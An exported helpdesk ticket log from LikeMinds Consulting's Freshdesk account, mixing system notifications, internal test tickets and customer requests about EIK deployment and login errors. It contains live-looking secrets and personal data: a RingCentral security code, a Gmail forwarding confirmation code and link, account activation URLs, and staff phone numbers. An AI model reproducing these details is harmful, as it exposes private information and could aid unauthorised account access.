to you in error, please > immediately alert the sender by reply email and then delete this message > and any attachments. If you are not the intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this message > or its

attachments is strictly prohibited. > > > -- Thanks , Bidhan Thapa.

TICKET DISPLAY ID : 69

SUBJECT : Your RingCentral Security Access Code

PROBLEM DESCRIPTION : Your RingCentral Security Access Code Security Access Code The security code for your account (732) 374-9158 is: 632951 This message was generated in response to an attempt to access your account from a computer we did not recognize. If you did not attempt a login from a different computer, we recommend change your password immediately. Thank you for your help in keeping your account secure. RingCentral By subscribing to and/or using RingCentral, you acknowledge agreement to our Terms of Use. Copyright 2019 RingCentral, Inc. All rights reserved. RingCentral is a registered trademark of RingCentral, Inc., 20 Davis Drive, Belmont, CA 94002, USA.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 70

SUBJECT : Your Mobile number and Phone number in LikeMinds software Ind pvt ltd has been updated

PROBLEM DESCRIPTION : Hi Support Lms, Your Mobile number and Phone number were updated on September 30 at 8:40 PM IST. If this change was made without your authorization, please contact your account administrator right away. LikeMinds software Ind pvt ltd

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 71

SUBJECT : LikeMinds software Ind pvt ltd agent invitation

PROBLEM DESCRIPTION : Hi Support Lms, Your LikeMinds software Ind pvt ltd account has been

created. Click here to go to your account. If the above URL does not work, try copying and pasting it into your browser. Please feel free to contact us, if you continue to face any problems. Regards,  
LikeMinds software Ind pvt ltd

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 72

SUBJECT : LikeMinds software Ind pvt ltd: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Occasional agent, Customer Service was added by Support Lms in your account on September 30 at 8:40 PM IST and has the roles . You currently have 1 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 73

SUBJECT : Your Freshdesk care package

PROBLEM DESCRIPTION : Hi there, Thank you for choosing Freshdesk. Now you can just sit back, relax and just concentrate on solving support queries because we've got your back. Here's a complete list of all the features on your plan and a little guide we put together to get you started in about ten minutes flat. If you have any questions, we are only a call or an email away. And always happy to help. Other great places for answers are our knowledge base and community forums. Happy supporting! Freshdesk Team P.S - Have you downloaded our iOS and Android apps yet?  
Message sent by Freshworks Inc. at Block C, 1st Floor, Global Infocity, #40 MGR Salai, Perungudi, Chennai ? 600096, Chennai, Tamil Nadu, India. Unsubscribe from all emails Powered by Freshmarketer

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 74


SUBJECT : LikeMinds software Ind pvt ltd: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Mahesh was added by Support Lms in your account on September 30 at 8:50 PM IST and has the role Agent. You currently have 2 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin > Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 76

SUBJECT : EKT

PROBLEM DESCRIPTION : Testing Kind Regards,  <http://likemindsconsulting.com/> ?innovation engineered? Muthu Ibrahim IDM Engineer - Trainee India Tel No: +91 9092711730 - New Jersey - Amsterdam - Chennai - Singapore

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 77

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Uvaraj Jayakumar was added by Support

Lms in your account on October 1 at 4:55 AM CDT and has the role Agent. You currently have 4 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 81

SUBJECT : EKT

PROBLEM DESCRIPTION : test [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Pandik Kumar.A IDM Engineer Tel No: +91-9080545124 - New Jersey - Amsterdam - Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 83

SUBJECT : Re: Incoming call with Mahesh +14085122344 on Ticket create automation setup

PROBLEM DESCRIPTION : Hi, ? It was nice having you over call today and assisting you in modifying the ticket create automation rule. At Freshdesk, customer happiness is our prime importance and we make sure that we spread smiles across our customers. I believe this support experience with me was helpful to you. You are one esteemed customer of ours and it would be really great if you could share your happiness and thoughts with us through the survey link below.



We will add them to our happy badges :) Wishing you a productive business and a happy day ahead :) ? Check your ticket status - <https://support.freshdesk.com/support/tickets/4572440> Stay on top of product updates, get a snapshot of the best conversations in the Freshdesk community and a hand-picked good read every week :) Suprabha Technical Account Manager, Freshworks w : [www.freshworks.com](http://www.freshworks.com) My working hours are from 12.00 PM to 09:00 PM GMT +5:30 (Monday - Friday). Alternatively, you can contact our 24/5 support at +1 866 832 3090 On Tue, 1 Oct at 4:26 PM , [support@likemindsconsulting.com](mailto:support@likemindsconsulting.com) <[support@likemindsconsulting.com](mailto:support@likemindsconsulting.com)> wrote: Conversation between +14085122344 (CA, SAN JOSE, US) and Suprabha Somanathan (+18668323090)

SOLUTION CONVERSATION : Hey [support@likemindsconsulting.com](mailto:support@likemindsconsulting.com), We have marked your ticket as Resolved. Please check your ticket. Your Ticket details : Ticket Title : Incoming call with Mahesh +14085122344 on Ticket create automation setup Ticket URL: <https://support.freshdesk.com/helpdesk/tickets/4572440> If you think the problem is not resolved, please reply to this email and we will definitely make sure to sort things out for you. If the problem is resolved to your satisfaction, please spare a minute to let us know about your support experience by participating in the survey below. Your feedback will help us serve you better. <div class="freshdesk\_satisfaction\_survey"> <div style="width: 100%;font: 13px 'Helvetica Neue', Helvetica, Arial, sans-serif;"> <hr style="height:0;border:0;margin-top:20px;border-top:1px solid #ccc;"> <span style="font-family: Arial, sans-serif; color: #333;font-weight:bold;"> <p>How would you rate your overall support experience?</p> </span> <table cellpadding="0" cellspacing="0" style="table-layout:fixed; margin-top:10px; "> <tr> <td style="width: 14.28%; border-right: 2px #fff solid; padding:0; height:8px; background-color:#e7340f;"></td> <td style="width: 14.28%; border-right: 2px #fff solid; padding:0; height:8px; background-color:#ff8c00;"></td> <td style="width: 14.28%; border-right: 2px #fff solid; padding:0; height:8px; background-color:#f1db16;"></td> <td style="width: 14.28%; border-right: 2px #fff solid; padding:0; height:8px; background-color:#6bb436;"></td> <td style="width: 14.28%; border-right: 2px #fff solid; padding:0; height:8px; background-color:#4e8d00;"></td> </tr> <tr> <td style="width: 14.28%; border-right: 2px

Awful!	Bad	Just Okay	Good
--------	-----	-----------	------

Please note, if we don't hear from you in the next 2 days, we will assume that your request has been resolved and this ticket will be closed automatically. Sincerely, Freshdesk Support

Hey support@likemindsconsulting.com, We have marked your ticket as Resolved. Please check your ticket. Your Ticket details : Ticket Title : Incoming call with Mahesh +14085122344 on Ticket create automation setup Ticket URL: <https://support.freshdesk.com/helpdesk/tickets/4572440> If you

think the problem is not resolved, please reply to this email and we will definitely make sure to sort things out for you. If the problem is resolved to your satisfaction, please spare a minute to let us know about your support experience by participating in the survey below. Your feedback will help us serve you better.

---

<p>How would you rate your overall support experience?</p>

<a href="https://support.freshdesk.com/support/custom_surveys/74a03befb77666a96b4c526c063e5857/extremely_unhappy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Awful!</a>	<a href="https://support.freshdesk.com/support/custom_surveys/74a03befb77666a96b4c526c063e5857/very_unhappy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Bad</a>	<a href="https://support.freshdesk.com/support/custom_surveys/74a03befb77666a96b4c526c063e5857/neutral/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Just Okay</a>		

<a href="https://support.freshdesk.com/support/custom_surveys/74a03befb77666a96b4c526c063e5857/very_happy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Good</a>	<a href="https://support.freshdesk.com/support/custom_surveys/74a03befb77666a96b4c526c063e5857/extremely_happy/new" style="margin:0; padding:5px; text-decoration:none; display:block;">Excellent!</a>
---	--

Please note, if we don't hear from you in the next 2 days, we will assume that your request has been resolved and this ticket will be closed automatically. Sincerely, Freshdesk Support

TICKET DISPLAY ID : 84

SUBJECT : EKT

PROBLEM DESCRIPTION : EKT Test Best Regards, [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> ?innovation engineered? Prabhu Thirunavukkarasu IdM Engineer India Tel No: +91- 9791128480 USA Tel No: +1 732-790-2132 - New Jersey - Chennai - Amsterdam - Singapore

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hi Prabhu, Worki n Progress

i'm good

Hi Prabhu, Thanks for the Information.

TICKET DISPLAY ID : 85

SUBJECT : EKT

PROBLEM DESCRIPTION : Hi, <Message> Regards,

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

TICKET DISPLAY ID : 86

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Pandik Kumar Arumugam was added by Support Lms in your account on October 3 at 3:21 AM CDT and has the role Agent. You currently have 5 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin > Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 88

SUBJECT : EKT

PROBLEM DESCRIPTION : Testttttt Best Regards, [image: LikeMindsLogo.png]

<<http://likemindsconsulting.com/>> ?innovation engineered? Prabhu Thirunavukkarasu IdM Engineer  
India Tel No: +91- 9791128480 USA Tel No: +1 732-790-2132 - New Jersey - Chennai - Amsterdam  
- Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments  
are intended solely for the addressee(s) and may contain confidential and/or privileged information  
and may be legally protected from disclosure. If you are not the intended recipient of this message  
or their agent, or if this message has been addressed to you in error, please immediately alert the  
sender by reply email and then delete this message and any attachments. If you are not the  
intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this  
message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hi Prabhu, Ticket has been closed. Thanks,

TICKET DISPLAY ID : 89

SUBJECT : LikeMinds Consulting Inc: Uvaraj Jayakumar was deleted

PROBLEM DESCRIPTION : Hi, An agent, Uvaraj Jayakumar was deleted by Support Lms in your  
account on October 3 at 3:49 AM CDT. Note that Uvaraj Jayakumar will still exist in your account as  
a contact. You currently have 4 full time agents and 0 occasional agents in your Freshdesk account.  
If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer  
Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 90

SUBJECT : LikeMinds Consulting Inc: Thani was deleted

PROBLEM DESCRIPTION : Hi, An agent, Thani was deleted by Support Lms in your account on  
October 3 at 3:49 AM CDT. Note that Thani will still exist in your account as a contact. You currently  
have 3 full time agents and 0 occasional agents in your Freshdesk account. If this change was

made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 91

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Prabhu was added by Support Lms in your account on October 3 at 3:59 AM CDT and has the role Agent. You currently have 4 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 92

SUBJECT : PROD

PROBLEM DESCRIPTION : Hi Likeminds, <Message> Regards, [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? - New Jersey - Amsterdam - Chennai - Singapore  
CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 93

SUBJECT : PROD

PROBLEM DESCRIPTION : .

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

TICKET DISPLAY ID : 94

SUBJECT : LikeMinds Consulting Inc: A new agent was added to your account

PROBLEM DESCRIPTION : Hi, A new Full time agent, Sudha Ravi was added by Support Lms in your account on October 3 at 5:38 AM CDT and has the role Agent. You currently have 5 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin > Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 95

SUBJECT : PROD

PROBLEM DESCRIPTION : Prod -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
[www.likemindsconsulting.com](http://www.likemindsconsulting.com) "innovation engineered" CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this



message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 97

SUBJECT : [GitHub] You've been removed from the lmc-inc organization

PROBLEM DESCRIPTION : Hi @LMSConsulting, You've been removed from the lmc-inc organization. Cheers & Octocats, GitHub Support

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 98

SUBJECT : You have a new Google account for Like Minds Consulting Inc

PROBLEM DESCRIPTION : From: "The Google Cloud Team" [cloud-noreply@google.com] Subject: You have a new Google account for Like Minds Consulting Inc ## Welcome to your new Google Account for Like Minds Consulting Inc Hello EIKsupport, You have a new Google Account with the Like Minds Consulting Inc organization. Sign in to your Google Account to access the Google services your organization provides. If your organization has G Suite, Google services may include business-grade versions of Google Drive, Gmail, and other Google services you can use to collaborate with your team. \*\*Your username:\*\* eiksupport@likemindsconsulting.com \*\*Password:\*\* Click \*\*Sign in\*\* below to set your password and sign in. To keep your account secure, follow these password guidelines (<https://support.google.com/accounts/answer/7521867>). Sign in ([https://accounts.google.com/RP?c=CMaYue\\_XpuaVlhC1oqThot7lqMAB&uc=ac&hl=en&continue=https://admin.google.com&fc=1](https://accounts.google.com/RP?c=CMaYue_XpuaVlhC1oqThot7lqMAB&uc=ac&hl=en&continue=https://admin.google.com&fc=1)) For your security, the reset password link expires after 48 hours. After that, please contact your administrator ([https://support.google.com/a/answer/6208960?utm\\_source=9005751&utm\\_medium=email](https://support.google.com/a/answer/6208960?utm_source=9005751&utm_medium=email)) for your password. Regards, The Google Cloud Team [Google Cloud] (c) 2019 Google LLC 1600

Amphitheatre Parkway, Mountain View, CA 94043 \* Google Ireland Ltd, Gordon House, Barrow Street, Dublin 4, Ireland \* Google Asia Pacific Pte. Ltd., 8 Marina View, #30-01, Asia Square 1, Singapore 018960 You're receiving this mandatory email service announcement to update you about important changes to your Google Cloud product or account.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 99

SUBJECT : (#503449257) Like Minds Consulting Inc Forwarding Confirmation - Receive Mail from eiksupport@likemindsconsulting.com

PROBLEM DESCRIPTION : eiksupport@likemindsconsulting.com has requested to automatically forward mail to your email address likemindsconsultingcomeiksupport@likemindsconsultinghelp.freshdesk.com. Confirmation code: 503449257 To allow eiksupport@likemindsconsulting.com to automatically forward mail to your address, please click the link below to confirm the request: [https://mail-settings.google.com/mail/vf-%5BANGjdJ8153Zw0fp5aSzxazuodiochqb7ADEoiHZgeCu\\_EWO8wP0UruG-ervK-hPLgk7YPwg0kSP\\_ngAy\\_sUj5Dvhh5Log9KoLLg7omKxx8XLdowrtv\\_WIDdOV6L\\_59phLfKBPf-qltpTtJuFrVZ\\_%5D-SnqCGjIKAKorggoWOkfHFvAhiVkJ8VvyMHdDgM9lOpNOQUytf-l5ls38J4SPazh7jzX](https://mail-settings.google.com/mail/vf-%5BANGjdJ8153Zw0fp5aSzxazuodiochqb7ADEoiHZgeCu_EWO8wP0UruG-ervK-hPLgk7YPwg0kSP_ngAy_sUj5Dvhh5Log9KoLLg7omKxx8XLdowrtv_WIDdOV6L_59phLfKBPf-qltpTtJuFrVZ_%5D-SnqCGjIKAKorggoWOkfHFvAhiVkJ8VvyMHdDgM9lOpNOQUytf-l5ls38J4SPazh7jzX) If you click the link and it appears to be broken, please copy and paste it into a new browser window. If you aren't able to access the link, you can send the confirmation code 503449257 to eiksupport@likemindsconsulting.com. Thanks for using Like Minds Consulting Inc! Sincerely, The Like Minds Consulting Inc Team If you do not approve of this request, no further action is required. eiksupport@likemindsconsulting.com cannot automatically forward messages to your email address unless you confirm the request by clicking the link above. If you accidentally clicked the link, but you do not want to allow eiksupport@likemindsconsulting.com to automatically forward messages to your address, click this link to cancel this verification: <https://mail-settings.google.com/mail/uf-%5BANGjdJ8VvyMHdDgM9lOpNOQUytf-l5ls38J4SPazh7jzX>

3tPOeF6cG2Y0FaF1Cd4Zb\_g\_36Dg5qGYXDPbP1JRwr6nNts7uz6NBZfgNsyFkNmx3ip3oqCbHvB9  
Dn9pGKPdOIV9eZ6sdUIGzdX-5b8o%5D-SnqCGjIKAKorggoWOkfHFvAhiVk To learn more about  
why you might have received this message, please visit:  
<http://support.google.com/mail/bin/answer.py?answer=184973>. Please do not respond to this  
message. If you'd like to contact the Google.com Team, please log in to your account and click  
'Help' at the top of any page. Then, click 'Contact Us' along the bottom of the Help Center.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 100

SUBJECT : LikeMinds Consulting Inc email activation instructions

PROBLEM DESCRIPTION : Hi, This email has been added as your support email address in  
Freshdesk. Click the URL below to activate your support email  
[https://likemindsconsultinghelp.freshdesk.com/admin/register\\_email/f8d0a6d7f038d7d7f30a9e0b188  
41849](https://likemindsconsultinghelp.freshdesk.com/admin/register_email/f8d0a6d7f038d7d7f30a9e0b18841849) If the above URL does not work, try copying and pasting it into your browser. If you continue  
to have problems, please feel free to contact us. Regards, LikeMinds Consulting Inc

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 103

SUBJECT :

PROBLEM DESCRIPTION : -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
[www.likemindsconsulting.com](http://www.likemindsconsulting.com) "innovation engineered" CONFIDENTIALITY NOTICE: The contents  
of this email message and any attachments are intended solely for the addressee(s) and may  
contain confidential and/or privileged information and may be legally protected from disclosure. If  
you are not the intended recipient of this message or their agent, or if this message has been  
addressed to you in error, please immediately alert the sender by reply email and then delete this

message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 109

SUBJECT : testing flow

PROBLEM DESCRIPTION : just testing the flow

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

TICKET DISPLAY ID : 110

SUBJECT : testing another ticket

PROBLEM DESCRIPTION : just creating again to test the flow

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/109>

TICKET DISPLAY ID : 111

SUBJECT : eik

PROBLEM DESCRIPTION : Eik test

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 112

SUBJECT : testing another ticket3

PROBLEM DESCRIPTION : testing the flow in 3 time

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

TICKET DISPLAY ID : 113

SUBJECT : EIK Testing

PROBLEM DESCRIPTION : testing with the EIK keyword.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets/112>

TICKET DISPLAY ID : 114

SUBJECT : testing without the word

PROBLEM DESCRIPTION : testing without the word

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

TICKET DISPLAY ID : 118

SUBJECT : EIK deployment issue //SAMPLE SUBJECT

PROBLEM DESCRIPTION : EIK Deployment failed

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Srivigneshkumar Manickavasakam, ?Sure Vignesh. Will help you with that to fix the issue.

Fix it and close ticket.

Hi Srivigneshkumar Manickavasakam, Your issue was resolved please check and revert back at the earliest

TICKET DISPLAY ID : 1001

SUBJECT : EIK support for deployment

PROBLEM DESCRIPTION : Need assistance for EIK deployment

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Srivigneshkumar Manickavasakam, We will assist you in the deployment process of EIK.

habd over to Pandi - note - eik dep issue

TICKET DISPLAY ID : 1003

SUBJECT : Activate your account at Freshdesk Support Portal

PROBLEM DESCRIPTION : Hello LikeMinds Consulting Inc, A new account has been created for you in our Freshdesk Support Portal. To get started with using our Support Portal, you will have to activate your account. Activation lets you participate in our Forums, browse our Knowledge Base and view and respond to your tickets.

---

Activate your account by clicking on the link below.

<https://support.freshdesk.com/register/BASz9yf1d3Qnz8tlz76k>

---

If the above URL doesn't work, copy and paste it into your browser. In case you are stuck, please write to us for assistance and one of our agents would be happy to help. Regards, Freshdesk Support

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 1004

SUBJECT : EIK DB connectivity

PROBLEM DESCRIPTION : DB connectivity issue

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 seen\_articles: referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Srivigneshkumar Manickavasakam, ?your ticket in progress.

Hi Srivigneshkumar Manickavasakam, We have an update on your ticket - 1004 Your ticket progress in testing state Thank you, EIK Support Team

Hi Srivigneshkumar Manickavasakam, We have an update on your ticket - #1004 New update  
Thank you, EIK Support Team

TICKET DISPLAY ID : 1005

SUBJECT : EIK deployment issueeee

PROBLEM DESCRIPTION : not working

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Srivigneshkumar Manickavasakam, We have an update on your ticket - #1005 still working Thank  
you, EIK Support Team

TICKET DISPLAY ID : 1006

SUBJECT : EIK deployment issue //SAMPLE SUBJECT

PROBLEM DESCRIPTION : non-prod

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36 seen\_articles:  
referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 1011

SUBJECT : EIK authenticatio error

PROBLEM DESCRIPTION : Hi team, The user is authenticated but landing on the error page of



EIK.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 OPR/64.0.3417.83  
seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Srivigneshkumar Manickavasakam, We are looking into it. Please help us with the following details on the issue to help you in a better way. - Please provide the error screenshot - Help us with the EIK log file from PF server in the following location (pf\_install/log/EIK.log) Regards, EIK Support Team <-- This is an automated message. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Srivigneshkumar Manickavasakam, We're waiting for an update from your side. To help you in a better way, please provide us with the information as requested earlier. To view or manage your ticket, visit <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1011> Regards, EIK Support Team

TICKET DISPLAY ID : 1012

SUBJECT : EIK Implementaion issue

PROBLEM DESCRIPTION : Issue in EIK implementation

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/tickets>

Hi Mahesh, We are looking into it. Please help us with the following details on the issue to help you in a better way. -Please give the screen shot of the issue stage -Please share the PF EIK log get

from the location(PF/EIK/EIK\_log) Regards, EIK Support Team

Sure i will provide it

TICKET DISPLAY ID : 1013

SUBJECT : Issue when testing ESB SSo

PROBLEM DESCRIPTION : Ping server is running okay. getting error when accessing the EBS

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2019-11-06 13:58:40 UTC

Hi Ashwinee Pradhan, We're working on your ticket and we will provide an update shortly. Please add the screen shot of the issue to solve the issue better. ? ? Please visit the below link to add any comments to your ticket. <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1013>

Regards, EIK Support Team

? Hi Ashwinee Pradhan, We're waiting for an update from your side. To help you in a better way, please provide us with the information as requested earlier. To view or manage your ticket, visit <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1013> Regards, EIK Support Team

Thank you support team!

?Thank you! We are closing the current ticket since it has been resolved.

TICKET DISPLAY ID : 1014

SUBJECT : system not working after resetting the password

PROBLEM DESCRIPTION : Hello The system is giving error after the password is changed.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

Hi Sameer B Singh, We're working on your ticket and we will provide an update shortly. Please visit the below link to add any comments to your ticket.  
<https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1014> Regards, EIK Support Team

Hi Sameer B Singh, We're waiting for an update from your side. To help you in a better way, please provide us with the information as requested earlier. To view or manage your ticket, visit <https://likemindsconsultinghelp.freshdesk.com/helpdesk/tickets/1014> Regards, EIK Support Team

TICKET DISPLAY ID : 1016

SUBJECT : cannot reset the password

PROBLEM DESCRIPTION : cannot reset the password in admin domain

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36 seen\_articles: referrer: <https://likemindsconsultinghelp.freshdesk.com/support/home>

TICKET DISPLAY ID : 1017

SUBJECT : EIK DEPLOYMENT ISSUE

PROBLEM DESCRIPTION : EIK DEPLOYMENT FAILURE. NEED ASSISTANCE.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 OPR/65.0.3467.78  
seen\_articles: "[\"48000964730\", \"48000636505\", \"48000636504\"]" referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/home>

Any update on the above issue?

TICKET DISPLAY ID : 1018

SUBJECT : EIK deployment issue

PROBLEM DESCRIPTION : i have trouble in implementing EIK files

